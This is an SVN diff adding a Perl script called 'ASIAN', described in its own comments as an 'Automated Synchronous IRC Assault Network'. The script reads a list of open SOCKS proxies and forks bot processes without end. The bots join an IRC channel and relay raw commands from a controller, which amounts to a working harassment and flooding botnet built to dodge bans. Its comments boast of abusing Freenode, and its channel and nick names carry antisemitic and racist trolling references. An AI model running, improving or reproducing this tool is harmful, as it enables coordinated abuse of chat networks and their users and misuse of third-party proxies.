Index: /trollforge/rucas/asian.pl
===================================================================
--- /trollforge/rucas/asian.pl	(revision 203)
+++ /trollforge/rucas/asian.pl	(revision 203)
@@ -0,0 +1,119 @@
+#!/usr/bin/perl
+# ASIAN by Rucas
+# Automated Synchronous IRC Assault Network
+# Based on AYSYN by mef
+#
+# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
+# directory as this script.  If you'd like to use tor, you can put
+# the correct info on one line in proxies.txt and this app will
+# still function properly (although generally tor sucks)
+#
+# All bots join $channel and are issued raw irc commands from there
+# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
+# "botname PRIVMSG Rucas lol failure" and such.
+#
+# Testing of an early version of this script is the reason that
+# Freenode now checks for open SOCKS proxies.
+
+use warnings;
+use strict;
+use threads;
+use threads::shared;
+#use IO::Socket::Socks;
+use Net::SOCKS;
+
+sub server {
+	my @servers = ("irc.gnaa.us");
+	return $servers[rand(@servers)];
+}
+our $port        = "6667";
+our $channel     = "#juden";
+sub fullname { return "lol".int(rand(2000)); }
+our $nickbase    = "GNAA";              #### keep this very short
+our $maxthreads  = 500;
+our $threadcount = 0;
+our @thr;
+our @proxies = ();
+our $rand    = 0;
+our $count   = 0;
+print "/!\\ ASIAN BOOTING UP /!\\\r\n";
+
+sub bot {
+    warn "HY LOL";
+    my %settings = @_;
+
+warn <<EOM;
+        ConnectAddr => server(),
+        ConnectPort => $port,
+        ProxyAddr   => $settings{sockshost},
+        ProxyPort   => $settings{socksport},
+EOM
+    my $socket     = new Net::SOCKS(
+        socks_addr   => $settings{sockshost},
+        socks_port   => $settings{socksport},
+	protocol_version => 4,
+    );
+    my $sock = $socket->connect(
+        peer_addr => server(),
+        peer_port => $port,
+    );
+    warn "CONNECTED";
+    unless ($sock) { warn "Ugh couldn't connect $settings{sockshost} $settings{socksport} "; return; }
+    print $sock "NICK $settings{nick}\r\n";
+    print $sock "USER $settings{nick} 8 * :".fullname()."\r\n";
+    warn "NICK $settings{nick}\r\n";
+    warn "USER $settings{nick} 8 * :".fullname()."\r\n";
+
+    while ( my $input = <$sock> ) {
+        print "$input\n";
+        if ( $input =~ /004/ ) {
+            last;
+        }
+        elsif ( $input =~ /433/ ) {
+            die "Nickname is already in use.";
+        }
+    }
+
+    print $sock "JOIN $channel\r\n";
+
+    while ( my $input = <$sock> ) {
+        chop $input;
+        print "-> $settings{nick} $input\n";
+        if ( $input =~ /^PING(.*)$/i ) {
+            print $sock "PONG $1\r\n";
+        }
+        if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) {
+            print $sock "$1\r\n";
+            print "<- $settings{nick} $1\r\n";
+        }
+        if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) {
+            print $sock "$1\r\n";
+            print "<- $settings{nick} $1\r\n";
+        }
+    }
+    $socket->close();
+
+}
+
+sub spawn {
+    open( PROXYLIST, "./proxies.txt" );
+    push @proxies, map { { ip => $_->[0], port => $_->[1] } }[ split /[\:\n]/ ]
+      for <PROXYLIST>;
+    for (;;) {
+        $rand = int( rand(@proxies) );
+	my $host = $proxies[$rand]{ip};
+	my $port = $proxies[$rand]{port};
+	my $nick = "$nickbase$threadcount";
+        print "$nick $host:$port\r\n";
+	my $pid = fork();
+	if ($pid == 0) {
+            #child
+            bot( nick      => $nick, sockshost => $host, socksport => $port );
+            exit;
+	}
+        sleep 10;
+	$threadcount++;
+    }
+}
+spawn();
+print "/!\\ ASIAN SHUTTING DOWN /!\\\r\n";
